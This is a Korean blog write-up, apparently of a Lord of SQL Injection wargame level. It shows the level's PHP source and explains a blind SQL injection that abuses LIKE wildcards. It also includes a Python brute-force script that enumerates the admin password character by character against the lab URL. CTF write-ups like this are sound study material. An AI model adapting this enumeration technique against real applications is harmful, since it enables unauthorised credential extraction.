-
LOS assassinWebHacking/Load Of Sql Injection 2018. 2. 15. 04:22123456789101112<?phpinclude "./config.php";login_chk();dbconnect();if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";echo "<hr>query : <strong>{$query}</strong><hr><br>";$result = @mysql_fetch_array(mysql_query($query));if($result['id']) echo "<h2>Hello {$result[id]}</h2>";if($result['id'] == 'admin') solve("assassin");highlight_file(__FILE__);?>
cs 이번 문제는 blind sql injection문제다.
where을 주지않고 like를 준것을보니 %를 이용하라는 뜻인것같다.
input+%를 넣어서 아스키코드들을 다 넣어주면 Hello admin이 뜨지않는것을 볼수있다.
만약 guest와 admin비밀번호 앞자리가 같고 guest데이터가 admin보다 위에있다면 저런식으로는 Hello admin이 뜰수없다.
위 상황으로 가정을하고 한자리씩 알아보면서 비밀번호와 %를 넣어주면서 admin이 뜰때까지 비밀번호를 알아낸다면 문제를 풀수있을것이다.
아래 공격코드는 Hello guest를 이용하여서 2자리(83)를 알아내고난 후 공격코드다.
1234567891011121314151617181920212223242526import urllib2j = 1input_ = 33 #0passwd = ''i = 0num = 8while(True):url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw='url += '83%s'%(chr(input_))url += '%'req = urllib2.Request(url)req.add_header('User-Agent','Mozilla/5.0')req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6')data = urllib2.urlopen(req).read()print urlif 'Hello admin' in data or 'Clear' in data or 'clear' in data:print 'Admin Search %s' %(chr(input_))breakelif '<h2>Hello guest</h2>' in data:print 'Guest %s' %(chr(input_)) #guest 8% true, guest 83% trueinput_+=1else:input_+=1cs 'WebHacking > Load Of Sql Injection' 카테고리의 다른 글
LOS succubus (0) 2018.02.15 LOS zombie_assassin (0) 2018.02.15 LOS giant (0) 2018.02.15 LOS bugbear (0) 2018.02.15 LOS darkknight (0) 2018.02.15